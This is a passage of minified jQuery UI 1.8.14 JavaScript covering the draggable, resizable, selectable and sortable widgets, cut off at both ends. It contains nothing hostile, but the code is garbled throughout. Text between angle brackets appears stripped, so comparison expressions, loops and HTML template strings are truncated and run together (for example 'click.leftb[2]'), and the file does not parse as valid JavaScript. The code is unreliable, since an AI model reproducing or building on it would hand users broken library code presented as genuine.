"hidden";this.containment=[(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0),(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0),(e?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"), 10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom];this.relative_container=d}}else if(d.containment.constructor==Array)this.containment=d.containment},_convertPositionTo:function(d,c){if(!c)c=this.position;d=d=="absolute"?1:-1;var e=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,h=/(html|body)/i.test(e[0].tagName);return{top:c.top+ this.offset.relative.top*d+this.offset.parent.top*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():h?0:e.scrollTop())*d),left:c.left+this.offset.relative.left*d+this.offset.parent.left*d-(a.browser.safari&&a.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():h?0:e.scrollLeft())*d)}},_generatePosition:function(d){var c=this.options,e=this.cssPosition=="absolute"&& !(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,h=/(html|body)/i.test(e[0].tagName),g=d.pageX,i=d.pageY;if(this.originalPosition){var b;if(this.containment){if(this.relative_container){b=this.relative_container.offset();b=[this.containment[0]+b.left,this.containment[1]+b.top,this.containment[2]+b.left,this.containment[3]+b.top]}else b=this.containment;if(d.pageX-this.offset.click.leftb[2])g=b[2]+this.offset.click.left;if(d.pageY-this.offset.click.top>b[3])i=b[3]+this.offset.click.top}if(c.grid){i=c.grid[1]?this.originalPageY+Math.round((i-this.originalPageY)/c.grid[1])*c.grid[1]:this.originalPageY;i=b?!(i-this.offset.click.topb[3])?i:!(i-this.offset.click.topb[2])?g:!(g-this.offset.click.left=0;l--){var o=e.snapElements[l].left,n=o+e.snapElements[l].width,k=e.snapElements[l].top,m=k+e.snapElements[l].height;if(o-g=l&&i<=o||b>=l&&b<=o||io)&&(h>= f&&h<=j||g>=f&&g<=j||hj);default:return false}};a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(d,c){var e=a.ui.ddmanager.droppables[d.options.scope]||[],h=c?c.type:null,g=(d.currentItem||d.element).find(":data(droppable)").andSelf(),i=0;a:for(;i
    ').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=h.handles||(!a(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var g=this.handles.split(",");this.handles={};for(var i=0;i
    ');/sw|se|ne|nw/.test(b)&&f.css({zIndex:++h.zIndex});"se"==b&&f.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[b]=".ui-resizable-"+b;this.element.append(f)}}this._renderAxis=function(j){j=j||this.element;for(var l in this.handles){if(this.handles[l].constructor== String)this.handles[l]=a(this.handles[l],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var o=a(this.handles[l],this.element),n=0;n=/sw|ne|nw|se|n|s/.test(l)?o.outerHeight():o.outerWidth();o=["padding",/ne|nw|n/.test(l)?"Top":/se|sw|s/.test(l)?"Bottom":/^e$/.test(l)?"Right":"Left"].join("");j.css(o,n);this._proportionallyResize()}a(this.handles[l])}};this._renderAxis(this.element);this._handles=a(".ui-resizable-handle",this.element).disableSelection(); this._handles.mouseover(function(){if(!e.resizing){if(this.className)var j=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);e.axis=j&&j[1]?j[1]:"se"}});if(h.autoHide){this._handles.hide();a(this.element).addClass("ui-resizable-autohide").hover(function(){if(!h.disabled){a(this).removeClass("ui-resizable-autohide");e._handles.show()}},function(){if(!h.disabled)if(!e.resizing){a(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy(); var e=function(g){a(g).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){e(this.element);var h=this.element;h.after(this.originalElement.css({position:h.css("position"),width:h.outerWidth(),height:h.outerHeight(),top:h.css("top"),left:h.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);e(this.originalElement);return this},_mouseCapture:function(e){var h= false;for(var g in this.handles)if(a(this.handles[g])[0]==e.target)h=true;return!this.options.disabled&&h},_mouseStart:function(e){var h=this.options,g=this.element.position(),i=this.element;this.resizing=true;this.documentScroll={top:a(document).scrollTop(),left:a(document).scrollLeft()};if(i.is(".ui-draggable")||/absolute/.test(i.css("position")))i.css({position:"absolute",top:g.top,left:g.left});a.browser.opera&&/relative/.test(i.css("position"))&&i.css({position:"relative",top:"auto",left:"auto"}); this._renderProxy();g=d(this.helper.css("left"));var b=d(this.helper.css("top"));if(h.containment){g+=a(h.containment).scrollLeft()||0;b+=a(h.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:g,top:b};this.size=this._helper?{width:i.outerWidth(),height:i.outerHeight()}:{width:i.width(),height:i.height()};this.originalSize=this._helper?{width:i.outerWidth(),height:i.outerHeight()}:{width:i.width(),height:i.height()};this.originalPosition={left:g,top:b};this.sizeDiff= {width:i.outerWidth()-i.width(),height:i.outerHeight()-i.height()};this.originalMousePosition={left:e.pageX,top:e.pageY};this.aspectRatio=typeof h.aspectRatio=="number"?h.aspectRatio:this.originalSize.width/this.originalSize.height||1;h=a(".ui-resizable-"+this.axis).css("cursor");a("body").css("cursor",h=="auto"?this.axis+"-resize":h);i.addClass("ui-resizable-resizing");this._propagate("start",e);return true},_mouseDrag:function(e){var h=this.helper,g=this.originalMousePosition,i=this._change[this.axis]; if(!i)return false;g=i.apply(this,[e,e.pageX-g.left||0,e.pageY-g.top||0]);this._updateVirtualBoundaries(e.shiftKey);if(this._aspectRatio||e.shiftKey)g=this._updateRatio(g,e);g=this._respectSize(g,e);this._propagate("resize",e);h.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(g);this._trigger("resize",e,this.ui());return false}, _mouseStop:function(e){this.resizing=false;var h=this.options,g=this;if(this._helper){var i=this._proportionallyResizeElements,b=i.length&&/textarea/i.test(i[0].nodeName);i=b&&a.ui.hasScroll(i[0],"left")?0:g.sizeDiff.height;b=b?0:g.sizeDiff.width;b={width:g.helper.width()-b,height:g.helper.height()-i};i=parseInt(g.element.css("left"),10)+(g.position.left-g.originalPosition.left)||null;var f=parseInt(g.element.css("top"),10)+(g.position.top-g.originalPosition.top)||null;h.animate||this.element.css(a.extend(b, {top:f,left:i}));g.helper.height(g.size.height);g.helper.width(g.size.width);this._helper&&!h.animate&&this._proportionallyResize()}a("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",e);this._helper&&this.helper.remove();return false},_updateVirtualBoundaries:function(e){var h=this.options,g,i,b;h={minWidth:c(h.minWidth)?h.minWidth:0,maxWidth:c(h.maxWidth)?h.maxWidth:Infinity,minHeight:c(h.minHeight)?h.minHeight:0,maxHeight:c(h.maxHeight)?h.maxHeight: Infinity};if(this._aspectRatio||e){e=h.minHeight*this.aspectRatio;i=h.minWidth/this.aspectRatio;g=h.maxHeight*this.aspectRatio;b=h.maxWidth/this.aspectRatio;if(e>h.minWidth)h.minWidth=e;if(i>h.minHeight)h.minHeight=i;if(ge.width,j=c(e.height)&&h.minHeight&&h.minHeight>e.height;if(f)e.width=h.minWidth;if(j)e.height=h.minHeight;if(i)e.width=h.maxWidth;if(b)e.height=h.maxHeight;var l=this.originalPosition.left+this.originalSize.width,o=this.position.top+this.size.height,n=/sw|nw|w/.test(g);g=/nw|ne|n/.test(g);if(f&&n)e.left=l-h.minWidth;if(i&&n)e.left=l-h.maxWidth;if(j&&g)e.top=o-h.minHeight;if(b&&g)e.top=o-h.maxHeight;if((h=!e.width&&!e.height)&&!e.left&&e.top)e.top=null;else if(h&&!e.top&&e.left)e.left= null;return e},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e=this.helper||this.element,h=0;h
    ');var h=a.browser.msie&&a.browser.version<7,g=h?1:0;h=h?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+ h,height:this.element.outerHeight()+h,position:"absolute",left:this.elementOffset.left-g+"px",top:this.elementOffset.top-g+"px",zIndex:++e.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(e,h){return{width:this.originalSize.width+h}},w:function(e,h){return{left:this.originalPosition.left+h,width:this.originalSize.width-h}},n:function(e,h,g){return{top:this.originalPosition.top+g,height:this.originalSize.height-g}},s:function(e,h,g){return{height:this.originalSize.height+ g}},se:function(e,h,g){return a.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,h,g]))},sw:function(e,h,g){return a.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,h,g]))},ne:function(e,h,g){return a.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,h,g]))},nw:function(e,h,g){return a.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,h,g]))}},_propagate:function(e,h){a.ui.plugin.call(this,e,[h,this.ui()]); e!="resize"&&this._trigger(e,h,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});a.extend(a.ui.resizable,{version:"1.8.14"});a.ui.plugin.add("resizable","alsoResize",{start:function(){var e=a(this).data("resizable").options,h=function(g){a(g).each(function(){var i=a(this);i.data("resizable-alsoresize",{width:parseInt(i.width(), 10),height:parseInt(i.height(),10),left:parseInt(i.css("left"),10),top:parseInt(i.css("top"),10),position:i.css("position")})})};if(typeof e.alsoResize=="object"&&!e.alsoResize.parentNode)if(e.alsoResize.length){e.alsoResize=e.alsoResize[0];h(e.alsoResize)}else a.each(e.alsoResize,function(g){h(g)});else h(e.alsoResize)},resize:function(e,h){var g=a(this).data("resizable");e=g.options;var i=g.originalSize,b=g.originalPosition,f={height:g.size.height-i.height||0,width:g.size.width-i.width||0,top:g.position.top- b.top||0,left:g.position.left-b.left||0},j=function(l,o){a(l).each(function(){var n=a(this),k=a(this).data("resizable-alsoresize"),m={},p=o&&o.length?o:n.parents(h.originalElement[0]).length?["width","height"]:["width","height","top","left"];a.each(p,function(q,s){if((q=(k[s]||0)+(f[s]||0))&&q>=0)m[s]=q||null});if(a.browser.opera&&/relative/.test(n.css("position"))){g._revertToRelativePosition=true;n.css({position:"absolute",top:"auto",left:"auto"})}n.css(m)})};typeof e.alsoResize=="object"&&!e.alsoResize.nodeType? a.each(e.alsoResize,function(l,o){j(l,o)}):j(e.alsoResize)},stop:function(){var e=a(this).data("resizable"),h=e.options,g=function(i){a(i).each(function(){var b=a(this);b.css({position:b.data("resizable-alsoresize").position})})};if(e._revertToRelativePosition){e._revertToRelativePosition=false;typeof h.alsoResize=="object"&&!h.alsoResize.nodeType?a.each(h.alsoResize,function(i){g(i)}):g(h.alsoResize)}a(this).removeData("resizable-alsoresize")}});a.ui.plugin.add("resizable","animate",{stop:function(e){var h= a(this).data("resizable"),g=h.options,i=h._proportionallyResizeElements,b=i.length&&/textarea/i.test(i[0].nodeName),f=b&&a.ui.hasScroll(i[0],"left")?0:h.sizeDiff.height;b={width:h.size.width-(b?0:h.sizeDiff.width),height:h.size.height-f};f=parseInt(h.element.css("left"),10)+(h.position.left-h.originalPosition.left)||null;var j=parseInt(h.element.css("top"),10)+(h.position.top-h.originalPosition.top)||null;h.element.animate(a.extend(b,j&&f?{top:j,left:f}:{}),{duration:g.animateDuration,easing:g.animateEasing, step:function(){var l={width:parseInt(h.element.css("width"),10),height:parseInt(h.element.css("height"),10),top:parseInt(h.element.css("top"),10),left:parseInt(h.element.css("left"),10)};i&&i.length&&a(i[0]).css({width:l.width,height:l.height});h._updateCache(l);h._propagate("resize",e)}})}});a.ui.plugin.add("resizable","containment",{start:function(){var e=a(this).data("resizable"),h=e.element,g=e.options.containment;if(h=g instanceof a?g.get(0):/parent/.test(g)?h.parent().get(0):g){e.containerElement= a(h);if(/document/.test(g)||g==document){e.containerOffset={left:0,top:0};e.containerPosition={left:0,top:0};e.parentData={element:a(document),left:0,top:0,width:a(document).width(),height:a(document).height()||document.body.parentNode.scrollHeight}}else{var i=a(h),b=[];a(["Top","Right","Left","Bottom"]).each(function(l,o){b[l]=d(i.css("padding"+o))});e.containerOffset=i.offset();e.containerPosition=i.position();e.containerSize={height:i.innerHeight()-b[3],width:i.innerWidth()-b[1]};g=e.containerOffset; var f=e.containerSize.height,j=e.containerSize.width;j=a.ui.hasScroll(h,"left")?h.scrollWidth:j;f=a.ui.hasScroll(h)?h.scrollHeight:f;e.parentData={element:h,left:g.left,top:g.top,width:j,height:f}}}},resize:function(e){var h=a(this).data("resizable"),g=h.options,i=h.containerOffset,b=h.position;e=h._aspectRatio||e.shiftKey;var f={top:0,left:0},j=h.containerElement;if(j[0]!=document&&/static/.test(j.css("position")))f=i;if(b.left<(h._helper?i.left:0)){h.size.width+=h._helper?h.position.left-i.left: h.position.left-f.left;if(e)h.size.height=h.size.width/g.aspectRatio;h.position.left=g.helper?i.left:0}if(b.top<(h._helper?i.top:0)){h.size.height+=h._helper?h.position.top-i.top:h.position.top;if(e)h.size.width=h.size.height*g.aspectRatio;h.position.top=h._helper?i.top:0}h.offset.left=h.parentData.left+h.position.left;h.offset.top=h.parentData.top+h.position.top;g=Math.abs((h._helper?h.offset.left-f.left:h.offset.left-f.left)+h.sizeDiff.width);i=Math.abs((h._helper?h.offset.top-f.top:h.offset.top- i.top)+h.sizeDiff.height);b=h.containerElement.get(0)==h.element.parent().get(0);f=/relative|absolute/.test(h.containerElement.css("position"));if(b&&f)g-=h.parentData.left;if(g+h.size.width>=h.parentData.width){h.size.width=h.parentData.width-g;if(e)h.size.height=h.size.width/h.aspectRatio}if(i+h.size.height>=h.parentData.height){h.size.height=h.parentData.height-i;if(e)h.size.width=h.size.height*h.aspectRatio}},stop:function(){var e=a(this).data("resizable"),h=e.options,g=e.containerOffset,i=e.containerPosition, b=e.containerElement,f=a(e.helper),j=f.offset(),l=f.outerWidth()-e.sizeDiff.width;f=f.outerHeight()-e.sizeDiff.height;e._helper&&!h.animate&&/relative/.test(b.css("position"))&&a(this).css({left:j.left-i.left-g.left,width:l,height:f});e._helper&&!h.animate&&/static/.test(b.css("position"))&&a(this).css({left:j.left-i.left-g.left,width:l,height:f})}});a.ui.plugin.add("resizable","ghost",{start:function(){var e=a(this).data("resizable"),h=e.options,g=e.size;e.ghost=e.originalElement.clone();e.ghost.css({opacity:0.25, display:"block",position:"relative",height:g.height,width:g.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");e.ghost.appendTo(e.helper)},resize:function(){var e=a(this).data("resizable");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=a(this).data("resizable");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}});a.ui.plugin.add("resizable","grid",{resize:function(){var e= a(this).data("resizable"),h=e.options,g=e.size,i=e.originalSize,b=e.originalPosition,f=e.axis;h.grid=typeof h.grid=="number"?[h.grid,h.grid]:h.grid;var j=Math.round((g.width-i.width)/(h.grid[0]||1))*(h.grid[0]||1);h=Math.round((g.height-i.height)/(h.grid[1]||1))*(h.grid[1]||1);if(/^(se|s|e)$/.test(f)){e.size.width=i.width+j;e.size.height=i.height+h}else if(/^(ne)$/.test(f)){e.size.width=i.width+j;e.size.height=i.height+h;e.position.top=b.top-h}else{if(/^(sw)$/.test(f)){e.size.width=i.width+j;e.size.height= i.height+h}else{e.size.width=i.width+j;e.size.height=i.height+h;e.position.top=b.top-h}e.position.left=b.left-j}}});var d=function(e){return parseInt(e,10)||0},c=function(e){return!isNaN(parseInt(e,10))}})(jQuery); (function(a){a.widget("ui.selectable",a.ui.mouse,{options:{appendTo:"body",autoRefresh:true,distance:0,filter:"*",tolerance:"touch"},_create:function(){var d=this;this.element.addClass("ui-selectable");this.dragged=false;var c;this.refresh=function(){c=a(d.options.filter,d.element[0]);c.each(function(){var e=a(this),h=e.offset();a.data(this,"selectable-item",{element:this,$element:e,left:h.left,top:h.top,right:h.left+e.outerWidth(),bottom:h.top+e.outerHeight(),startselected:false,selected:e.hasClass("ui-selected"), selecting:e.hasClass("ui-selecting"),unselecting:e.hasClass("ui-unselecting")})})};this.refresh();this.selectees=c.addClass("ui-selectee");this._mouseInit();this.helper=a("
    ")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item");this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy();return this},_mouseStart:function(d){var c=this;this.opos=[d.pageX, d.pageY];if(!this.options.disabled){var e=this.options;this.selectees=a(e.filter,this.element[0]);this._trigger("start",d);a(e.appendTo).append(this.helper);this.helper.css({left:d.clientX,top:d.clientY,width:0,height:0});e.autoRefresh&&this.refresh();this.selectees.filter(".ui-selected").each(function(){var h=a.data(this,"selectable-item");h.startselected=true;if(!d.metaKey){h.$element.removeClass("ui-selected");h.selected=false;h.$element.addClass("ui-unselecting");h.unselecting=true;c._trigger("unselecting", d,{unselecting:h.element})}});a(d.target).parents().andSelf().each(function(){var h=a.data(this,"selectable-item");if(h){var g=!d.metaKey||!h.$element.hasClass("ui-selected");h.$element.removeClass(g?"ui-unselecting":"ui-selected").addClass(g?"ui-selecting":"ui-unselecting");h.unselecting=!g;h.selecting=g;(h.selected=g)?c._trigger("selecting",d,{selecting:h.element}):c._trigger("unselecting",d,{unselecting:h.element});return false}})}},_mouseDrag:function(d){var c=this;this.dragged=true;if(!this.options.disabled){var e= this.options,h=this.opos[0],g=this.opos[1],i=d.pageX,b=d.pageY;if(h>i){var f=i;i=h;h=f}if(g>b){f=b;b=g;g=f}this.helper.css({left:h,top:g,width:i-h,height:b-g});this.selectees.each(function(){var j=a.data(this,"selectable-item");if(!(!j||j.element==c.element[0])){var l=false;if(e.tolerance=="touch")l=!(j.left>i||j.rightb||j.bottomh&&j.rightg&&j.bottom *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1E3},_create:function(){var d=this.options;this.containerCache={};this.element.addClass("ui-sortable"); this.refresh();this.floating=this.items.length?d.axis==="x"||/left|right/.test(this.items[0].item.css("float"))||/inline|table-cell/.test(this.items[0].item.css("display")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var d=this.items.length-1;d>=0;d--)this.items[d].item.removeData("sortable-item");return this},_setOption:function(d,c){if(d=== "disabled"){this.options[d]=c;this.widget()[c?"addClass":"removeClass"]("ui-sortable-disabled")}else a.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(d,c){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this._refreshItems(d);var e=null,h=this;a(d.target).parents().each(function(){if(a.data(this,"sortable-item")==h){e=a(this);return false}});if(a.data(d.target,"sortable-item")==h)e=a(d.target);if(!e)return false;if(this.options.handle&& !c){var g=false;a(this.options.handle,e).find("*").andSelf().each(function(){if(this==d.target)g=true});if(!g)return false}this.currentItem=e;this._removeCurrentsFromItems();return true},_mouseStart:function(d,c,e){c=this.options;var h=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(d);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top, left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");a.extend(this.offset,{click:{left:d.pageX-this.offset.left,top:d.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(d);this.originalPageX=d.pageX;this.originalPageY=d.pageY;c.cursorAt&&this._adjustOffsetFromHelper(c.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]}; this.helper[0]!=this.currentItem[0]&&this.currentItem.hide();this._createPlaceholder();c.containment&&this._setContainment();if(c.cursor){if(a("body").css("cursor"))this._storedCursor=a("body").css("cursor");a("body").css("cursor",c.cursor)}if(c.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",c.opacity)}if(c.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",c.zIndex)}if(this.scrollParent[0]!= document&&this.scrollParent[0].tagName!="HTML")this.overflowOffset=this.scrollParent.offset();this._trigger("start",d,this._uiHash());this._preserveHelperProportions||this._cacheHelperProportions();if(!e)for(e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("activate",d,h._uiHash(this));if(a.ui.ddmanager)a.ui.ddmanager.current=this;a.ui.ddmanager&&!c.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,d);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(d); return true},_mouseDrag:function(d){this.position=this._generatePosition(d);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs)this.lastPositionAbs=this.positionAbs;if(this.options.scroll){var c=this.options,e=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if(this.overflowOffset.top+this.scrollParent[0].offsetHeight-d.pageY=0;c--){e=this.items[c];var h=e.item[0],g=this._intersectsWithPointer(e);if(g)if(h!=this.currentItem[0]&&this.placeholder[g==1?"next":"prev"]()[0]!=h&&!a.ui.contains(this.placeholder[0],h)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0], h):true)){this.direction=g==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(e))this._rearrange(d,e);else break;this._trigger("change",d,this._uiHash());break}}this._contactContainers(d);a.ui.ddmanager&&a.ui.ddmanager.drag(this,d);this._trigger("sort",d,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(d,c){if(d){a.ui.ddmanager&&!this.options.dropBehaviour&&a.ui.ddmanager.drop(this,d);if(this.options.revert){var e=this;c=e.placeholder.offset(); e.reverting=true;a(this.helper).animate({left:c.left-this.offset.parent.left-e.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:c.top-this.offset.parent.top-e.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){e._clear(d)})}else this._clear(d,c);return false}},cancel:function(){var d=this;if(this.dragging){this._mouseUp({target:null});this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"): this.currentItem.show();for(var c=this.containers.length-1;c>=0;c--){this.containers[c]._trigger("deactivate",null,d._uiHash(this));if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",null,d._uiHash(this));this.containers[c].containerCache.over=0}}}if(this.placeholder){this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove();a.extend(this,{helper:null, dragging:false,reverting:false,_noFinalSort:null});this.domPosition.prev?a(this.domPosition.prev).after(this.currentItem):a(this.domPosition.parent).prepend(this.currentItem)}return this},serialize:function(d){var c=this._getItemsAsjQuery(d&&d.connected),e=[];d=d||{};a(c).each(function(){var h=(a(d.item||this).attr(d.attribute||"id")||"").match(d.expression||/(.+)[-=_](.+)/);if(h)e.push((d.key||h[1]+"[]")+"="+(d.key&&d.expression?h[1]:h[2]))});!e.length&&d.key&&e.push(d.key+"=");return e.join("&")}, toArray:function(d){var c=this._getItemsAsjQuery(d&&d.connected),e=[];d=d||{};c.each(function(){e.push(a(d.item||this).attr(d.attribute||"id")||"")});return e},_intersectsWith:function(d){var c=this.positionAbs.left,e=c+this.helperProportions.width,h=this.positionAbs.top,g=h+this.helperProportions.height,i=d.left,b=i+d.width,f=d.top,j=f+d.height,l=this.offset.click.top,o=this.offset.click.left;l=h+l>f&&h+li&&c+od[this.floating?"width":"height"]?l:i0?"down":"up")},_getDragHorizontalDirection:function(){var d=this.positionAbs.left-this.lastPositionAbs.left;return d!=0&&(d>0?"right":"left")},refresh:function(d){this._refreshItems(d);this.refreshPositions();return this},_connectWith:function(){var d=this.options;return d.connectWith.constructor==String?[d.connectWith]:d.connectWith},_getItemsAsjQuery:function(d){var c=[],e=[],h=this._connectWith(); if(h&&d)for(d=h.length-1;d>=0;d--)for(var g=a(h[d]),i=g.length-1;i>=0;i--){var b=a.data(g[i],"sortable");if(b&&b!=this&&!b.options.disabled)e.push([a.isFunction(b.options.items)?b.options.items.call(b.element):a(b.options.items,b.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),b])}e.push([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), this]);for(d=e.length-1;d>=0;d--)e[d][0].each(function(){c.push(this)});return a(c)},_removeCurrentsFromItems:function(){for(var d=this.currentItem.find(":data(sortable-item)"),c=0;c=0;g--)for(var i=a(h[g]),b=i.length-1;b>=0;b--){var f=a.data(i[b],"sortable");if(f&&f!=this&&!f.options.disabled){e.push([a.isFunction(f.options.items)?f.options.items.call(f.element[0],d,{item:this.currentItem}):a(f.options.items,f.element),f]);this.containers.push(f)}}for(g=e.length-1;g>=0;g--){d=e[g][1];h=e[g][0];b=0;for(i=h.length;b=0;c--){var e=this.items[c];if(!(e.instance!=this.currentContainer&&this.currentContainer&&e.item[0]!=this.currentItem[0])){var h=this.options.toleranceElement?a(this.options.toleranceElement,e.item):e.item;if(!d){e.width=h.outerWidth();e.height=h.outerHeight()}h=h.offset();e.left=h.left;e.top=h.top}}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(c= this.containers.length-1;c>=0;c--){h=this.containers[c].element.offset();this.containers[c].containerCache.left=h.left;this.containers[c].containerCache.top=h.top;this.containers[c].containerCache.width=this.containers[c].element.outerWidth();this.containers[c].containerCache.height=this.containers[c].element.outerHeight()}return this},_createPlaceholder:function(d){var c=d||this,e=c.options;if(!e.placeholder||e.placeholder.constructor==String){var h=e.placeholder;e.placeholder={element:function(){var g= a(document.createElement(c.currentItem[0].nodeName)).addClass(h||c.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!h)g.style.visibility="hidden";return g},update:function(g,i){if(!(h&&!e.forcePlaceholderSize)){i.height()||i.height(c.currentItem.innerHeight()-parseInt(c.currentItem.css("paddingTop")||0,10)-parseInt(c.currentItem.css("paddingBottom")||0,10));i.width()||i.width(c.currentItem.innerWidth()-parseInt(c.currentItem.css("paddingLeft")||0,10)-parseInt(c.currentItem.css("paddingRight")|| 0,10))}}}}c.placeholder=a(e.placeholder.element.call(c.element,c.currentItem));c.currentItem.after(c.placeholder);e.placeholder.update(c,c.placeholder)},_contactContainers:function(d){for(var c=null,e=null,h=this.containers.length-1;h>=0;h--)if(!a.ui.contains(this.currentItem[0],this.containers[h].element[0]))if(this._intersectsWith(this.containers[h].containerCache)){if(!(c&&a.ui.contains(this.containers[h].element[0],c.element[0]))){c=this.containers[h];e=h}}else if(this.containers[h].containerCache.over){this.containers[h]._trigger("out", d,this._uiHash(this));this.containers[h].containerCache.over=0}if(c)if(this.containers.length===1){this.containers[e]._trigger("over",d,this._uiHash(this));this.containers[e].containerCache.over=1}else if(this.currentContainer!=this.containers[e]){c=1E4;h=null;for(var g=this.positionAbs[this.containers[e].floating?"left":"top"],i=this.items.length-1;i>=0;i--)if(a.ui.contains(this.containers[e].element[0],this.items[i].item[0])){var b=this.items[i][this.containers[e].floating?"left":"top"];if(Math.abs(b- g)this.containment[2])g=this.containment[2]+this.offset.click.left;if(d.pageY-this.offset.click.top>this.containment[3])i=this.containment[3]+this.offset.click.top}if(c.grid){i=this.originalPageY+Math.round((i- 